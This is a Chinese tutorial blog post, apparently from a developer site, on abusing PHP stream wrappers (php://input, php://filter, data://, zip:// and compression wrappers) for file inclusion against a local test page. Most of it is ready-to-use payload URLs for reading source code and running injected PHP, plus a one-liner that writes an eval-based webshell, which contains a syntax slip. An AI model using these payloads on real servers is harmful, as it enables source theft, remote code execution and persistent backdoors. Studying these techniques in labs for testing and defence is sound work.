PHP伪协议学习

主要学习file://、php://input、php://filter、data://、zip://, bzip2://, zlib://几个伪协议。

要成功应用伪协议需要php.ini文件的

allow_url_fopen默认开启 (on)       

allow_url_include默认关闭(off)

一、file://

此协议可以在双off的情况下也可以使用,用于访问本地文件。

使用方法:

file://[文件的绝对路径和文件名] 

如http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

二、php://input

此协议需要allow_url_include为on,将post请求中的数据作为PHP代码执行。

使用方法:

php://input        然后post需要执行的数据

如在hackbar中提交post数据:http://127.0.0.1/cmd.php?file=php://input    然后在post中<?php phpinfo() ?>

burpsuite提交

也可以POST如下内容生成一句话木马:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

 三、php://filter

在双off的情况下也可使用,读取文件并进行显示或写入。读取源代码时可以进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

使用方法:

php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示) 

如http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

四、data://text/plain

此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入。

使用方法有4种:

data://text/plain,【字符】

data://text/plain;base64,【base64编码字符】 

data:text/plain,【字符】

data:text/plain;base64,【base64编码字符】 

如http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

五、zip://, bzip2://, zlib://

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

 使用方法:

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

如http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt(存储在本机上),将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

compress.bzip2://

如http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

compress.zlib://[文件路径和文件名]

如http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值